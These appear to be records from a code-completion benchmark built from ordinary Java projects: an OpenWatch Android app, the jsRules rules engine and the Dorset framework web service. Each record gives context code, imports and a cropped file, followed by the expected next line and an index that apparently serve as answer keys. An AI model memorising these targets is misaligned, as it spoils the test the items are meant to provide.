this.photo.get(c).getUUID(c);\n\t\t}\n\t\treturn null;\n\t}\n\n\t@Override\n\tpublic void setUUID(Context c, String uuid) {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\t@Override\n\tpublic void setLat(Context c, double lat) {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\t@Override\n\tpublic double getLat(Context c) {\n OWServerObjectInterface child = (OWServerObjectInterface)getChildObject(c);\n\t\tif(child != null){\n return child.getLat(c);\n }\n return 0.0;\n\t}\n\n\t@Override\n\tpublic void setLon(Context c, double lon) {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\t@Override\n\tpublic double getLon(Context c) {\n OWServerObjectInterface child = (OWServerObjectInterface)getChildObject(c);\n if(child != null){\n return child.getLon(c);\n }\n return 0.0;\n\t}\n\n\t@Override\n\tpublic void setMediaFilepath(Context c, String filepath) {\n\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\t@Override\n\tpublic String getMediaFilepath(Context c) {\n\t\t// TODO Auto-generated method stub\n\t\treturn null;\n\t}\n\t\n\tpublic void saveAndSync(Context c){\n\t\tthis.save(c);\n\t\tOWServiceRequests.syncOWServerObject(c, this, true, null);\n\t}\n\n\t@Override\n\tpublic CONTENT_TYPE getContentType(Context c) {\n\t\tif(this.video_recording.get(c) != null)\n\t\t\treturn CONTENT_TYPE.VIDEO;\n else if(this.audio.get(c) != null)\n return CONTENT_TYPE.AUDIO;\n else if(this.photo.get(c) != null)\n return CONTENT_TYPE.PHOTO;\n\t\telse if(this.investigation.get(c) != null)\n\t\t\treturn CONTENT_TYPE.INVESTIGATION;\n\t\telse if(this.story.get(c) != null)\n\t\t\treturn CONTENT_TYPE.STORY;\n else if(this.mission.get(c) != null)\n return CONTENT_TYPE.MISSION;\n\t\tLog.e(TAG, \"Unable to determine CONTENT_TYPE for OWServerObject \" + String.valueOf(this.getId()));\n\t\treturn null;\n\t}\n\t\n\tpublic Object getChildObject(Context c){\n\t\tif(this.investigation.get(c) != null)\n\t\t\treturn this.investigation.get(c);\n\t\telse if(this.photo.get(c) != null)\n\t\t\treturn this.photo.get(c);\n\t\telse if(this.audio.get(c) != null)\n\t\t\treturn this.audio.get(c);\n\t\telse if(this.video_recording.get(c) != null)\n\t\t\treturn this.video_recording.get(c);\n else if(this.mission.get(c) != null)\n return this.mission.get(c);\n\t\treturn null;\n\t}\n\n}", "public class OWUser extends Model{\n\tprivate static final String TAG = \"OWUser\";\n\t\n\tpublic CharField username = new CharField();\n public CharField first_name = new CharField();\n public CharField last_name = new CharField();\n public CharField blurb = new CharField();\n\tpublic CharField thumbnail_url = new CharField();\n\tpublic IntegerField server_id = new IntegerField();\n public CharField gcm_registration_id = new CharField();\n\n public DoubleField lat = new DoubleField();\n public DoubleField lon = new DoubleField();\n\n public BooleanField agent_applicant = new BooleanField();\n public BooleanField agent_approved = new BooleanField();\n\t\n\tpublic OneToManyField<OWUser, OWVideoRecording> recordings = new OneToManyField<OWUser, OWVideoRecording>(OWUser.class, OWVideoRecording.class);\n\tpublic ManyToManyField<OWUser, OWTag> tags = new ManyToManyField<OWUser, OWTag>(OWUser.class, OWTag.class);\n\n @Override\n protected void migrate(Context context) {\n /*\n Migrator automatically keeps track of which migrations have been run.\n All we do is add a migration for each change that occurs after the initial app release\n */\n Migrator<OWUser> migrator = new Migrator<OWUser>(OWUser.class);\n\n migrator.addField(\"first_name\", new CharField());\n\n migrator.addField(\"last_name\", new CharField());\n\n migrator.addField(\"blurb\", new CharField());\n\n migrator.addField(\"gcm_registration_id\", new CharField());\n\n // roll out all migrations\n migrator.migrate(context);\n }\n\t\n\tpublic OWUser(){\n\t\tsuper();\n\t}\n\t\n\tpublic OWUser(Context c){\n\t\tsuper();\n\t\tsave(c);\n\t}\n\t\n\tpublic JSONObject toJSON(){\n\t\tJSONObject json_obj = new JSONObject();\n\t\ttry{\n\t\t\tif(this.username.get() != null)\n\t\t\t\tjson_obj.put(Constants.OW_USERNAME, this.username.get());\n if(this.first_name.get() != null)\n json_obj.put(Constants.OW_FIRST_NAME, this.first_name.get());\n if(this.last_name.get() != null)\n json_obj.put(Constants.OW_LAST_NAME, this.last_name.get());\n if(this.blurb.get() != null)\n json_obj.put(Constants.OW_BLURB, this.blurb.get());\n\t\t\tif(this.server_id.get() != null)\n\t\t\t\tjson_obj.put(Constants.OW_SERVER_ID, this.server_id.get());\n\t\t\tif(this.thumbnail_url.get() != null)\n\t\t\t\tjson_obj.put(Constants.OW_THUMB_URL, thumbnail_url.get());\n if(this.agent_applicant.get() != null)\n json_obj.put(\"agent_applicant\", agent_applicant.get());\n if(this.gcm_registration_id.get() != null)\n json_obj.put(\"google_push_token\", gcm_registration_id.get());\n if(this.lat.get() != null && this.lon.get() != null){\n json_obj.put(Constants.OW_LAT, lat.get());\n json_obj.put(Constants.OW_LON, lon.get());\n }\n\t\t}catch (JSONException e){\n\t\t\tLog.e(TAG, \"Error serialiazing OWUser\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn json_obj;\n\t}\n\t\n\tpublic void updateWithJson(Context c, JSONObject json){\n\t\ttry {\n\t\t\tif(json.has(DBConstants.USER_SERVER_ID))\n\t\t\t\tserver_id.set(json.getInt(DBConstants.USER_SERVER_ID));\n\t\t\tif(json.has(Constants.OW_USERNAME))\n\t\t\t\tusername.set(json.getString(Constants.OW_USERNAME));\n if(json.has(Constants.OW_FIRST_NAME))\n first_name.set(json.getString(Constants.OW_FIRST_NAME));\n if(json.has(Constants.OW_LAST_NAME))\n last_name.set(json.getString(Constants.OW_LAST_NAME));\n if(json.has(Constants.OW_BLURB))\n blurb.set(json.getString(Constants.OW_BLURB));\n if(json.has(Constants.OW_LAT) && json.has(Constants.OW_LON)){\n lat.set(json.getDouble(Constants.OW_LAT));\n lon.set(json.getDouble(Constants.OW_LON));\n }\n if(json.has(Constants.OW_THUMB_URL))\n thumbnail_url.set(json.getString(Constants.OW_THUMB_URL));\n if(json.has(\"agent_approved\"))\n agent_approved.set(json.getBoolean(\"agent_approved\"));\n if(json.has(\"agent_applicant\"))\n agent_applicant.set(json.getBoolean(\"agent_applicant\"));\n\t\t\tif(json.has(Constants.OW_TAGS)){\n this.tags.reset();\n JSONArray tag_array = json.getJSONArray(\"tags\");\n OWTag tag = null;\n DatabaseAdapter.getInstance(c).beginTransaction();\n for(int x=0;x<tag_array.length();x++){\n tag = OWTag.getOrCreateTagFromJson(c, tag_array.getJSONObject(x));\n tag.save(c);\n this.addTag(c, tag, false);\n }\n DatabaseAdapter.getInstance(c).commitTransaction();\n } // end tags update\n\t\t\tthis.save(c);\n\t\t} catch (JSONException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\tpublic void addTag(Context c, OWTag tag, boolean syncWithOW){\n\t\tthis.tags.add(tag);\n\t\tsave(c);\n\t\tif(syncWithOW)\n\t\t\tOWServiceRequests.setTags(c, tags.get(c, this));\n\t}\n\n}", "public class Share {\n\n\tpublic static void showShareDialog(Context c, String dialog_title, String url){\n\t\t\n\t\tIntent i = new Intent(Intent.ACTION_SEND);\n\t\ti.setType(\"text/plain\");\n\t\ti.putExtra(Intent.EXTRA_TEXT, url);\n\t\tc.startActivity(Intent.createChooser(i, dialog_title));\n\t}\n\n public static void showShareDialogWithInfo(Context c, String dialog_title, String item_title, String url){\n Intent i = new Intent(Intent.ACTION_SEND);\n i.setType(\"text/plain\");\n i.putExtra(Intent.EXTRA_TEXT, generateShareText(c, item_title, url));\n c.startActivity(Intent.createChooser(i, dialog_title));\n }\n\n public static String generateShareText(Context c, OWServerObject serverObject){\n return generateShareText(c, serverObject.getTitle(c), OWUtils.urlForOWServerObject(serverObject, c));\n }\n\n public static String generateShareText(Context c, String title, String url){\n String toShare = url;\n if(title != null)\n toShare += \"\\n\" + title;\n toShare += \"\\n\" + c.getString(R.string.via_openwatch);\n return toShare;\n }\n\n}" ]
import android.content.Context; import android.os.Bundle; import android.support.v4.app.NavUtils; import android.text.Html; import android.util.Log; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import com.actionbarsherlock.app.SherlockActivity; import com.actionbarsherlock.view.Menu; import com.actionbarsherlock.view.MenuItem; import com.loopj.android.http.JsonHttpResponseHandler; import com.nostra13.universalimageloader.core.ImageLoader; import org.ale.openwatch.constants.Constants; import org.ale.openwatch.constants.Constants.CONTENT_TYPE; import org.ale.openwatch.constants.Constants.HIT_TYPE; import org.ale.openwatch.http.OWServiceRequests; import org.ale.openwatch.model.OWInvestigation; import org.ale.openwatch.model.OWServerObject; import org.ale.openwatch.model.OWUser; import org.ale.openwatch.share.Share; import org.json.JSONException; import org.json.JSONObject;
package org.ale.openwatch; public class OWInvestigationViewActivity extends SherlockActivity implements OWObjectBackedEntity { private static final String TAG = "OWInvestigationViewActivity"; //private View progress; private int model_id; private int server_id; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_owinvestigation_view); getSupportActionBar().setDisplayHomeAsUpEnabled(true); OWUtils.setReadingFontOnChildren((ViewGroup) findViewById(R.id.relativeLayout));
model_id = getIntent().getExtras().getInt(Constants.INTERNAL_DB_ID);
0
el-groucho/jsRules
src/main/java/org/grouchotools/jsrules/loader/impl/RulesetLoaderImpl.java
[ "public class ResponseConfig extends JsonBean implements Config {\n private String response;\n private String responseClass;\n\n public ResponseConfig() {\n\n }\n\n public ResponseConfig(String response, String responseClass) {\n this.response = response;\n this.responseClass = responseClass;\n }\n\n public String getResponse() {\n return response;\n }\n\n public void setResponse(String response) {\n this.response = response;\n }\n\n public String getResponseClass() {\n return responseClass;\n }\n\n public void setResponseClass(String responseClass) {\n this.responseClass = responseClass;\n }\n \n}", "public class RulesetConfig implements Config {\n private String rulesetName;\n private String rulesetType;\n private ResponseConfig responseConfig;\n private List<String> components;\n\n public RulesetConfig() {\n\n }\n\n public RulesetConfig(String rulesetName, String rulesetType, ResponseConfig responseConfig, List<String> components) {\n this.rulesetName = rulesetName;\n this.rulesetType = rulesetType;\n this.responseConfig = responseConfig;\n this.components = components;\n }\n\n public String getRulesetName() {\n return rulesetName;\n }\n\n public void setRulesetName(String rulesetName) {\n this.rulesetName = rulesetName;\n }\n\n public String getRulesetType() {\n return rulesetType;\n }\n\n public void setRulesetType(String rulesetType) {\n this.rulesetType = rulesetType;\n }\n\n public ResponseConfig getResponseConfig() {\n return responseConfig;\n }\n\n public void setResponseConfig(ResponseConfig responseConfig) {\n this.responseConfig = responseConfig;\n }\n\n public List<String> getComponents() {\n return components;\n }\n\n public void setComponents(List<String> components) {\n this.components = components;\n }\n}", "public class ClassHandlerException extends JsRulesException {\n\n public ClassHandlerException() {\n }\n\n public ClassHandlerException(String message) {\n super(message);\n }\n\n public ClassHandlerException(String message, Throwable cause) {\n super(message, cause);\n }\n\n public ClassHandlerException(Throwable cause) {\n super(cause);\n }\n\n public ClassHandlerException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) {\n super(message, cause, enableSuppression, writableStackTrace);\n }\n \n}", "public class InvalidConfigException extends JsRulesException {\n\n public InvalidConfigException() {\n }\n\n public InvalidConfigException(String message) {\n super(message);\n }\n\n public InvalidConfigException(String message, Throwable cause) {\n super(message, cause);\n }\n\n public InvalidConfigException(Throwable cause) {\n super(cause);\n }\n\n public InvalidConfigException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) {\n super(message, cause, enableSuppression, writableStackTrace);\n }\n \n}", "public class RuleExecutorImpl<T, P> extends RuleExecutor<T> {\n private static final Logger LOG = LoggerFactory.getLogger(RuleExecutorImpl.class);\n \n private final Rule<T, P> rule;\n \n public RuleExecutorImpl(Rule<T, P> rule) {\n this.rule = rule;\n }\n \n @Override\n public T execute(Object leftParameter, Object rightParameter) throws InvalidParameterException {\n Object staticValue = rule.getRightParameter().getStaticValue();\n if (staticValue != null) {\n LOG.error(\"Right parameter has a static value of {} and should not be specified\", staticValue);\n throw new InvalidParameterException();\n }\n\n return executeRule(leftParameter, rightParameter);\n }\n\n @Override\n public T execute(Object leftParameter) throws InvalidParameterException {\n Object rightParameter = rule.getRightParameter().getStaticValue();\n\n if (rightParameter == null) {\n LOG.error(\"Right parameter must be specified\");\n throw new InvalidParameterException();\n }\n\n return executeRule(leftParameter, rightParameter);\n }\n\n @Override\n public Parameter getLeftParameter() {\n return rule.getLeftParameter();\n }\n\n @Override\n public Parameter getRightParameter() {\n return rule.getRightParameter();\n }\n\n @Override\n public Rule getRule() {\n return rule;\n }\n\n private T executeRule(Object leftParameter, Object rightParameter) throws InvalidParameterException {\n validateParameter(rule.getLeftParameter().getName(), leftParameter, rule.getLeftParameter().getKlasse());\n validateParameter(rule.getRightParameter().getName(), rightParameter, rule.getRightParameter().getKlasse());\n\n T response = null;\n\n if (rule.getOperator().compare(leftParameter, rightParameter)) {\n response = rule.getResponse();\n }\n\n return response;\n }\n \n}", "public interface RulesetLoader extends Loader<RulesetExecutor, RulesetConfig> {\n\n}", "public enum ClassHandler {\n BOOLEAN {\n @Override\n public Class getMyClass() {\n return Boolean.class;\n }\n\n @Override\n @SuppressWarnings(\"unchecked\")\n public Boolean convertString(String string) {\n return Boolean.parseBoolean(string);\n }\n },\n DOUBLE {\n @Override\n public Class getMyClass() {\n return Double.class;\n }\n\n @Override\n @SuppressWarnings(\"unchecked\")\n public Double convertString(String string) {\n return Double.parseDouble(string);\n }\n },\n LONG {\n @Override\n public Class getMyClass() {\n return Long.class;\n }\n\n @Override\n @SuppressWarnings(\"unchecked\")\n public Long convertString(String string) {\n return Long.parseLong(string);\n }\n },\n STRING {\n @Override\n public Class getMyClass() {\n return String.class;\n }\n\n @Override\n @SuppressWarnings(\"unchecked\")\n public String convertString(String string) {\n return string;\n }\n },\n NUMBERSET {\n @Override\n public Class getMyClass() {\n return Set.class;\n }\n\n @Override\n @SuppressWarnings(\"unchecked\")\n public Set<Number> convertString(String string) throws ClassHandlerException {\n Set<Number> numberSet;\n \n try {\n numberSet = MAPPER.readValue(string, Set.class);\n } catch (IOException ex) {\n throw new ClassHandlerException(\"Unable to convert \" + string + \" into a Set of Numbers\", ex);\n }\n\n return numberSet;\n }\n },\n DATETIME {\n @Override\n public Class getMyClass() {\n return DateTime.class;\n }\n\n @Override\n @SuppressWarnings(\"unchecked\")\n public DateTime convertString(String string) throws ClassHandlerException {\n DateTime dateTime;\n\n try {\n dateTime = DateTime.parse(string);\n } catch (IllegalArgumentException ex) {\n throw new ClassHandlerException(\"Invalid date string: \" + string, ex);\n }\n\n return dateTime;\n }\n },\n DATESET {\n @Override\n public Class getMyClass() {\n return Set.class;\n }\n\n @Override\n @SuppressWarnings(\"unchecked\")\n public Set<DateTime> convertString(String string) throws ClassHandlerException {\n Set<DateTime> dateSet;\n\n try {\n dateSet = MAPPER.readValue(string, Set.class);\n } catch (IOException ex) {\n throw new ClassHandlerException(\"Unable to convert \" + string + \" into a Set of Dates\", ex);\n }\n\n return dateSet;\n }\n };\n \n public abstract Class getMyClass();\n public abstract <T> T convertString(String string) throws ClassHandlerException;\n\n private static final ObjectMapper MAPPER = new ObjectMapper();\n}", "public enum RulesetTypeHandler {\n ALLTRUE {\n @Override\n @SuppressWarnings(\"unchecked\")\n public RulesetExecutor getRulesetExecutor(String name, List<Executor> ruleSet, Object response) {\n return new AllTrueRulesetExecutorImpl(name, ruleSet, response);\n }\n\n @Override\n public boolean isRulesetListExecutor() {\n return false;\n }\n },\n FIRSTTRUE {\n @Override\n @SuppressWarnings(\"unchecked\")\n public RulesetExecutor getRulesetExecutor(String name, List<Executor> ruleSet, Object response) {\n return new FirstTrueRulesetExecutorImpl(name, ruleSet);\n }\n\n @Override\n public boolean isRulesetListExecutor() {\n return false;\n }\n },\n ALLTRUELIST {\n @Override\n @SuppressWarnings(\"unchecked\")\n public RulesetExecutor getRulesetExecutor(String name, List<Executor> ruleSet, Object response) {\n return new AllTrueRulesetListExecutorImpl(name, ruleSet, response);\n }\n\n @Override\n public boolean isRulesetListExecutor() {\n return true;\n }\n },\n FIRSTTRUELIST {\n @Override\n @SuppressWarnings(\"unchecked\")\n public RulesetExecutor getRulesetExecutor(String name, List<Executor> ruleSet, Object response) {\n return new FirstTrueRulesetListExecutorImpl(name, ruleSet);\n }\n\n @Override\n public boolean isRulesetListExecutor() {\n return true;\n }\n };\n\n public abstract RulesetExecutor getRulesetExecutor(String name, List<Executor> ruleSet, Object response);\n\n public abstract boolean isRulesetListExecutor();\n}" ]
import org.grouchotools.jsrules.*; import org.grouchotools.jsrules.config.ResponseConfig; import org.grouchotools.jsrules.config.RulesetConfig; import org.grouchotools.jsrules.exception.ClassHandlerException; import org.grouchotools.jsrules.exception.InvalidConfigException; import org.grouchotools.jsrules.impl.RuleExecutorImpl; import org.grouchotools.jsrules.loader.RulesetLoader; import org.grouchotools.jsrules.util.ClassHandler; import org.grouchotools.jsrules.util.RulesetTypeHandler; import java.util.ArrayList; import java.util.List;
package org.grouchotools.jsrules.loader.impl; /** * Created by Paul Richardson 5/14/2015 */ public class RulesetLoaderImpl implements RulesetLoader { private JsRules jsRules; public RulesetLoaderImpl(JsRules jsRules) { this.jsRules = jsRules; } @Override @SuppressWarnings("unchecked")
public RulesetExecutor load(RulesetConfig config) throws InvalidConfigException {
3
DorsetProject/dorset-framework
api/src/main/java/edu/jhuapl/dorset/rest/WebService.java
[ "public class Application {\n private final Logger logger = LoggerFactory.getLogger(Application.class);\n\n protected Agent[] agents;\n protected Router router;\n protected Reporter reporter;\n protected User user;\n protected List<RequestFilter> requestFilters;\n protected List<ResponseFilter> responseFilters;\n protected List<ShutdownListener> shutdownListeners;\n\n /**\n * Create a Dorset application\n * <p>\n * Uses a null reporter that ignores new reports.\n *\n * @param router a router that finds the appropriate agent for a request\n */\n public Application(Router router) {\n this(router, new NullReporter());\n }\n\n /**\n * Create a Dorset application\n *\n * @param router a router that finds the appropriate agent for a request\n * @param reporter a reporter which logs request handling\n */\n public Application(Router router, Reporter reporter) {\n this.router = router;\n this.reporter = reporter;\n this.agents = router.getAgents();\n this.requestFilters = new ArrayList<RequestFilter>();\n this.responseFilters = new ArrayList<ResponseFilter>();\n this.shutdownListeners = new ArrayList<ShutdownListener>();\n }\n\n /**\n * Get the active agents in the registry\n *\n * @return array of Agent objects\n */\n public Agent[] getAgents() {\n return agents;\n }\n\n /**\n * Add a request filter\n *\n * @param filter a RequestFilter\n */\n public void addRequestFilter(RequestFilter filter) {\n requestFilters.add(filter);\n }\n\n /**\n * Add a response filter\n *\n * @param filter a ResponseFilter\n */\n public void addResponseFilter(ResponseFilter filter) {\n responseFilters.add(filter);\n }\n\n /**\n * Add a shutdown listener\n *\n * @param listener a listener that runs when shutdown() is called\n */\n public void addShutdownListener(ShutdownListener listener) {\n shutdownListeners.add(listener);\n }\n\n /**\n * Set a User for a single user Dorset application\n *\n * @param user the User of a single user application\n */\n public void setUser(User user) {\n this.user = user;\n }\n\n /**\n * Process a request\n *\n * @param request Request object\n * @return Response object\n */\n public Response process(Request request) {\n logger.info(\"Processing request: \" + request.getText());\n for (RequestFilter rf : requestFilters) {\n request = rf.filter(request);\n }\n Response response = new Response(new ResponseStatus(\n Code.NO_AVAILABLE_AGENT));\n Report report = new Report(request);\n\n long startTime = System.nanoTime();\n Agent[] agents = router.route(request);\n report.setRouteTime(startTime, System.nanoTime());\n if (agents.length > 0) {\n response = new Response(new ResponseStatus(\n Code.NO_RESPONSE_FROM_AGENT));\n startTime = System.nanoTime();\n for (Agent agent : agents) {\n report.setAgent(agent);\n AgentResponse agentResponse = null;\n if (this.user != null) {\n agentResponse = agent.process(new AgentRequest(new Request(request.getText(), this.user, request.getId())));\n } else {\n agentResponse = agent.process(new AgentRequest(request));\n }\n if (agentResponse != null) {\n // take first answer\n response = new Response(agentResponse);\n break;\n }\n }\n report.setAgentTime(startTime, System.nanoTime());\n }\n report.setResponse(response);\n reporter.store(report);\n\n return response;\n }\n\n /**\n * Call this when the application is done running\n */\n public void shutdown() {\n for (ShutdownListener listener : shutdownListeners) {\n listener.shutdown();\n }\n }\n\n}", "public class Request {\n /** Maximum length of the identifier string ({@value #MAX_ID_LENGTH}) */\n public static final int MAX_ID_LENGTH = 36;\n\n private String text;\n private final String id;\n private final User user;\n\n /**\n * Create a request\n * <p>\n * Automatically sets the identifier of the request\n *\n * @param text the text of the request\n */\n public Request(String text) {\n this(text, null, \"\");\n }\n \n /**\n * Create a request\n * <p>\n * Automatically sets the identifier of the request\n *\n * @param text the text of the request\n * @param user the user of the request\n * */\n public Request(String text, User user) {\n this(text, user, \"\");\n }\n\n /**\n * Create a request\n *\n * @param text the text of the request\n * @param id the identifier of the request (cannot be longer then MAX_ID_LENGTH)\n * The identifier must be unique.\n */\n public Request(String text, String id) {\n this(text, null, id);\n }\n\n /**\n * Create a request\n *\n * @param text the text of the request\n * @param user the user of the request\n * @param id the identifier of the request (cannot be longer then MAX_ID_LENGTH)\n * The identifier must be unique.\n */\n public Request(String text, User user, String id) {\n if (id.length() > MAX_ID_LENGTH) {\n throw new IllegalArgumentException(\n \"Request id cannot be longer than \" + String.valueOf(MAX_ID_LENGTH));\n }\n \n if (id.length() == 0) {\n this.id = UUID.randomUUID().toString();\n } else {\n this.id = id;\n }\n \n this.text = text;\n this.user = user;\n }\n \n /**\n * Get the text of the request\n *\n * @return the text of the request\n */\n public String getText() {\n return text;\n }\n\n /**\n * Set the text of the request\n *\n * @param text the text of the request\n */\n public void setText(String text) {\n this.text = text;\n }\n\n /**\n * Get the identifier of the request\n *\n * @return identifier\n */\n public String getId() {\n return id;\n }\n \n /**\n * Get the User of the request\n *\n * @return user\n */\n public User getUser() {\n return user;\n }\n \n}", "public class Response {\n private final Type type;\n private final String text;\n private final String payload;\n private final ResponseStatus status;\n\n /**\n * Create a response\n *\n * @param text the text of the response\n */\n public Response(String text) {\n this.type = Type.TEXT;\n this.text = text;\n this.payload = null;\n this.status = ResponseStatus.createSuccess();\n }\n\n /**\n * Create a response with a payload\n *\n * @param type the type of the response\n * @param text the text of the response\n * @param payload the payload of the response\n */\n public Response(Type type, String text, String payload) {\n this.type = type;\n this.text = text;\n this.payload = payload;\n this.status = ResponseStatus.createSuccess();\n }\n\n /**\n * Create a response\n *\n * @param response response from an agent\n */\n public Response(AgentResponse response) {\n this.type = response.getType();\n this.text = response.getText();\n this.payload = response.getPayload();\n this.status = response.getStatus();\n }\n\n /**\n * Create a response\n *\n * @param text the text of the response\n * @param status the response status\n */\n public Response(String text, ResponseStatus status) {\n if (status.isSuccess()) {\n this.type = Type.TEXT;\n } else {\n this.type = Type.ERROR;\n }\n this.text = text;\n this.payload = null;\n this.status = status;\n }\n\n /**\n * Create a response\n *\n * @param status the response status (an error)\n */\n public Response(ResponseStatus status) {\n this.type = Type.ERROR;\n this.text = null;\n this.payload = null;\n this.status = status;\n }\n\n /**\n * Get the response type\n *\n * @return the response type\n */\n public Type getType() {\n return type;\n }\n\n /**\n * Get the text of the response\n *\n * @return the text of the response or null if error\n */\n public String getText() {\n return text;\n }\n\n /**\n * Get the payload of the response\n * <p>\n * The payload data varies according to the response type\n *\n * @return payload string or null if no payload\n */\n public String getPayload() {\n return payload;\n }\n\n /**\n * Get the response status\n *\n * @return the status\n */\n public ResponseStatus getStatus() {\n return status;\n }\n\n /**\n * Is this a successful response to the request?\n *\n * @return true for success\n */\n public boolean isSuccess() {\n return status.isSuccess();\n }\n\n /**\n * Is this a simple text response?\n *\n * @return true if text response\n */\n public boolean isTextResponse() {\n return type == Type.TEXT;\n }\n\n /**\n * Does this response have a payload?\n *\n * @return true if there is a payload\n */\n public boolean hasPayload() {\n return Type.usesPayload(type);\n }\n\n /**\n * Enumeration for response types\n * <p>\n * The response types are\n * <ul>\n * <li>ERROR - an error occurred\n * <li>TEXT - a simple text response\n * <li>IMAGE_EMBED - base64 encoded image\n * <li>IMAGE_URL - URL to an image\n * <li>JSON - JSON data\n * </ul>\n */\n public enum Type {\n ERROR(\"error\"),\n TEXT(\"text\"),\n IMAGE_EMBED(\"image_embed\"),\n IMAGE_URL(\"image_url\"),\n JSON(\"json\");\n\n private final String type;\n private Type(String type) {\n this.type = type;\n }\n\n /**\n * Get the value of the type\n *\n * @return the value\n */\n public String getValue() {\n return type;\n }\n\n /**\n * Get a Type enum member from a string\n *\n * @param value the type as a string\n * @return a Type enum member or null if no match\n */\n public static Type fromValue(String value) {\n for (Type type : Type.values()) {\n if (type.getValue().equals(value)) {\n return type;\n }\n }\n return null;\n }\n\n /**\n * Does this response type use the payload field?\n *\n * @param type the response type\n * @return true if it uses the payload field\n */\n public static boolean usesPayload(Type type) {\n if (type == ERROR || type == TEXT) {\n return false;\n }\n return true;\n }\n }\n}", "public interface Agent {\n\n /**\n * Get the name of the agent\n *\n * @return name\n */\n public String getName();\n\n /**\n * Override the default name of the agent\n *\n * @param name New name for the agent\n */\n public void setName(String name);\n\n /**\n * Get the description of the agent for human consumption\n *\n * @return Description of the agent\n */\n public Description getDescription();\n\n /**\n * Override the default description\n *\n * @param description Description of the agent\n * @see Description\n */\n public void setDescription(Description description);\n \n /**\n * Process a request\n *\n * @param request Request object\n * @return response to the request\n */\n public AgentResponse process(AgentRequest request);\n}", "public class Description {\n private String name;\n private String summary;\n private String[] examples;\n\n /**\n * For java bean use only\n */\n public Description() {}\n\n /**\n * Create an agent description\n *\n * @param name Name of the agent\n * @param summary A user-facing description of the agent's capabilities\n * @param example An example question or command\n */\n public Description(String name, String summary, String example) {\n this(name, summary, new String[]{example});\n }\n\n /**\n * Create an agent description\n *\n * @param name Name of the agent\n * @param summary A user-facing description of the agent's capabilities\n * @param examples Array of example questions or commands\n */\n public Description(String name, String summary, String[] examples) {\n this.setName(name);\n this.setSummary(summary);\n this.setExamples(examples);\n }\n\n /**\n * Copy a description\n *\n * @param description agent description\n */\n public Description(Description description) {\n this(description.getName(), description.getSummary(), description.getExamples());\n }\n\n /**\n * Get the summary\n *\n * @return the summary\n */\n public String getSummary() {\n return summary;\n }\n\n /**\n * Set the summary\n *\n * @param summary A description of the agent's capabilities\n */\n public void setSummary(String summary) {\n this.summary = summary;\n }\n\n /**\n * Get the example requests for the agent\n *\n * @return examples of using the agent\n */\n public String[] getExamples() {\n return examples.clone();\n }\n\n /**\n * Set several examples of requests for the agent\n *\n * @param examples Array of example requests that the agent can handle\n */\n public void setExamples(String[] examples) {\n this.examples = Arrays.copyOf(examples, examples.length);\n }\n\n /**\n * Set a single example of a request for the agent\n *\n * @param example A single example request that the agent can handle\n */\n public void setExample(String example) {\n this.examples = new String[1];\n this.examples[0] = example;\n }\n\n /**\n * Get the name of the agent\n *\n * @return name of the agent\n */\n public String getName() {\n return name;\n }\n\n /**\n * Set the name of the agent\n *\n * @param name The name of the agent\n */\n public void setName(String name) {\n this.name = name.toLowerCase();\n }\n\n /**\n * Get a default description\n *\n * @param clazz The class of the agent\n * @return default description\n */\n public static Description getUninitializedDescription(Class<?> clazz) {\n String name = clazz.getCanonicalName();\n return new Description(name, \"Summary is not set.\", \"Example is not set.\");\n }\n}" ]
import edu.jhuapl.dorset.agents.Agent; import edu.jhuapl.dorset.agents.Description; import javax.inject.Inject; import javax.ws.rs.Consumes; import javax.ws.rs.GET; import javax.ws.rs.POST; import javax.ws.rs.Path; import javax.ws.rs.Produces; import javax.ws.rs.core.MediaType; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import edu.jhuapl.dorset.Application; import edu.jhuapl.dorset.Request; import edu.jhuapl.dorset.Response;
/* * Copyright 2016 The Johns Hopkins University Applied Physics Laboratory LLC * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package edu.jhuapl.dorset.rest; @Path("/") public class WebService { private static final Logger logger = LoggerFactory.getLogger(WebService.class); // If an Application is not injected, this will cause a server error ("Request failed.") @Inject private Application app; /** * Process a request * * @param req the WebRequest payload * @return response */ @POST @Path("/request") @Consumes(MediaType.APPLICATION_JSON) @Produces(MediaType.APPLICATION_JSON) public WebResponse process(WebRequest req) { WebResponse webResp; Request request = new Request(req.getText()); Response response = app.process(request); if (response.isSuccess()) { if (response.hasPayload()) { webResp = new WebResponseWithPayload(response); } else { webResp = new WebResponse(response); } } else { webResp = new WebResponseWithError(response); } return webResp; } /** * Get the agents that are available * * @return array of agent descriptions */ @GET @Path("/agents") @Produces(MediaType.APPLICATION_JSON) public Description[] getAgents() { if (app == null) { return new Description[0]; }
Agent[] agents = app.getAgents();
3
wso2-extensions/identity-outbound-auth-samlsso
components/org.wso2.carbon.identity.application.authenticator.samlsso/src/test/java/org/wso2/carbon/identity/application/authenticator/samlsso/logout/Utils/LogoutUtilTest.java
